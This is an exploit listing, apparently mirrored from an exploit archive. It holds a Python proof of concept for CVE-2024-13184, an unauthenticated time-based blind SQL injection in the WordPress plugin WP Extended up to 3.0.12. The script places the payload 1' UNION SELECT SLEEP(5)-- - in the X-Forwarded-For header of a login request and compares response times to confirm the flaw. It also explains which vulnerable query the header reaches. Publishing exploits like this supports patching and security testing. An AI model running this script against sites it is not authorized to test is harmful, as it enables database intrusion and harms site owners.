Share
## https://sploitus.com/exploit?id=PACKETSTORM:226393
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin WP Extended <= 3.0.12 - Unauthenticated Time-Based Blind SQL Injection (X-Forwarded-For)
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/wpextended/
    # Software Link: https://downloads.wordpress.org/plugin/wpextended.3.0.12.zip
    # Version: 3.0.12 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2024-13184
    r"""
    WP Extended <= 3.0.12, with the "Limit Login Attempts" module enabled, derives the client IP from
    the X-Forwarded-For header (includes/.../wpext_limit_login_attempts.php:163-164
    getenv('HTTP_X_FORWARDED_FOR')) and concatenates it, unescaped, into several queries during login,
    e.g.:
    
        :108 $login_status = $wpdb->get_var(" SELECT attempt FROM $login_attempt WHERE ip='$wpext_ip' ");
    
    HTTP headers are NOT processed by wp_magic_quotes(), so a raw single quote survives -> SQL injection.
    Because the value flows into multiple query sinks during one login attempt, a single injected
    SLEEP() is executed several times, producing a large, unmistakable delay.
    
    Payload: 1' UNION SELECT SLEEP(5)-- -   (get_var, single-column context)
    
    Prior state: plugin active + the "Limit Login Attempts" module enabled
    (option wp-extended-modules['wpext_limit_login_attempts'] = true).
    """
    import argparse, sys, time
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def probe(base, seconds):
        xff = "1' UNION SELECT SLEEP(%d)-- -" % seconds
        s = requests.Session(); s.verify = False
        s.get(base + "/wp-login.php"); s.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
        t = time.time()
        s.post(base + "/wp-login.php",
               data={"log": "admin", "pwd": "wrongpass", "wp-submit": "Log In", "testcookie": "1"},
               headers={"X-Forwarded-For": xff}, allow_redirects=False, timeout=120)
        return time.time() - t
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--sleep", type=int, default=5)
        args = ap.parse_args()
        base = args.target.rstrip("/")
        t0 = probe(base, 0)
        t5 = probe(base, args.sleep)
        print(f"[*] Target: {base}")
        print(f"[*] X-Forwarded-For SLEEP(0): {t0:.2f}s | SLEEP({args.sleep}): {t5:.2f}s")
        if (t5 - t0) >= args.sleep - 1.5:
            print(f"\n[+] SQL INJECTION CONFIRMED โ€” unauthenticated attacker-controlled SLEEP delayed the "
                  f"login response by {t5 - t0:.2f}s (X-Forwarded-For header).")
            return 0
        print("\n[-] not confirmed"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())